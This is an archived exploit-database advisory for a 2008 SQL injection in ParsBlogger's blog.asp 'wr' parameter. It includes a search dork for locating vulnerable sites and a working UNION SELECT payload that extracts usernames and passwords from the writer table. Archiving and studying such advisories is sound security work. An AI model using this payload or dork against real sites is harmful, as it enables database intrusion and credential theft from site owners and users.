ParsBlogger SQL Injection Vulnerability

vendor:

ParsBlogger

by:

BorN To K!LL

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: ParsBlogger

Affected Version From: >!<

Affected Version To: >!<

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

ParsBlogger SQL Injection Vulnerability

A SQL injection vulnerability exists in ParsBlogger, which allows an attacker to execute arbitrary SQL commands via the 'wr' parameter in blog.asp. An attacker can use this vulnerability to gain access to sensitive information in the back-end database.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

--------------------------------------------------------------------------------------------------------------------

[~] Script   : ParsBlogger

[~] Version  : >!<

[~] Link       : http://www.parsblogger.com

[~] Dork      : "Powered by ParsBlogger"

[~] Author   : BorN To K!LL

[~] TeaM     : Security Geeks [ Sec-Geeks.com ]

--------------------------------------------------------------------------------------------------------------------

[~] Exploit :.

site.ir/blog.asp?wr=[SQL]

[~] Example :.

site.ir/blog.asp?wr=-5+union+all+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13+from+writer--

--------------------------------------------------------------------------------------------------------------------

[~] Greetings :.

[ Är Ä¦Î»CÐšÎ£Î“ ] , [ SECURITY GÎ£Î£KS ] , [ AsbMay's Group ] , [ w4ck1ng TeaM ] , [ darkc0de TeaM ] , [ Juba ] .. n all muslims

--------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-26]